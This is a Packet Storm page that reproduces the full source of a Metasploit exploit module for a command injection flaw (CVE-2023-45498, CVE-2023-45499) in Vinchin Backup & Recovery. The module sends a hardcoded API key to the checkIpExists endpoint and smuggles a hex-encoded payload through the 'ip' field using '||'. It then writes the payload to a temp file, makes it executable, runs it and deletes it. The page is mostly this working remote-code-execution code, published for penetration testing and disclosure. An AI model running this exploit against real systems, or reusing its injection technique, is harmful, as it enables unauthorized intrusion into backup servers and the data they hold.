what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Vinchin Backup And Recovery Command Injection

Vinchin Backup And Recovery Command Injection
Posted Dec 21, 2023
Authored by Valentin Lobstein, Gregory Boddin | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in Vinchin Backup & Recovery v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the checkIpExists API endpoint, an attacker can execute arbitrary commands as the web server user.

tags | exploit, web, arbitrary
advisories | CVE-2023-45498, CVE-2023-45499
SHA-256 | 3d8e50d9f7626533b7df0f51d965d0f800628210479cd9fb5dd93a7e5ade89f2

Vinchin Backup And Recovery Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vinchin Backup and Recovery Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Vinchin Backup & Recovery
v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the
checkIpExists API endpoint, an attacker can execute arbitrary commands as the
web server user.
},
'License' => MSF_LICENSE,
'Author' => [
'Gregory Boddin (LeakIX)', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2023-45498'],
['CVE', '2023-45499'],
['URL', 'https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/'],
['URL', 'https://vinchin.com/'] # Vendor URL
],
'DisclosureDate' => '2023-10-26',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'AKA' => ['Vinchin Command Injection']
},
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],

'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/usr/share/nginx/vinchin/tmp'
},
'Privileged' => false
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to the Vinchin Backup & Recovery application', '/']),
OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71']),
]
)
end

def exploit
hex_encoded_payload = payload.encoded.unpack('H*').first
formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join

temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}"
command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'api/'),
'vars_get' => {
'm' => '30',
'f' => 'checkIpExists',
'k' => datastore['APIKEY']
},
'data' => "p={\"ip\":\"a||#{command}\"}"
})
end

def check
target_uri_path = normalize_uri(target_uri.path, 'login.php')
res = send_request_cgi('uri' => target_uri_path)

return CheckCode::Unknown('Failed to connect to the target.') unless res
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200

version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/
version_match = res.body.match(version_pattern)

unless version_match && version_match[1]
return CheckCode::Unknown('Unable to extract version.')
end

version = Rex::Version.new(version_match[1])
print_status("Detected Vinchin version: #{version}")

if (version >= Rex::Version.new('5.0.0') && version < Rex::Version.new('5.1.0')) ||
(version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')) ||
(version >= Rex::Version.new('6.7.0') && version < Rex::Version.new('6.8.0')) ||
(version >= Rex::Version.new('7.0.0') && version < Rex::Version.new('7.0.2'))
return CheckCode::Appears
else
return CheckCode::Safe
end
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close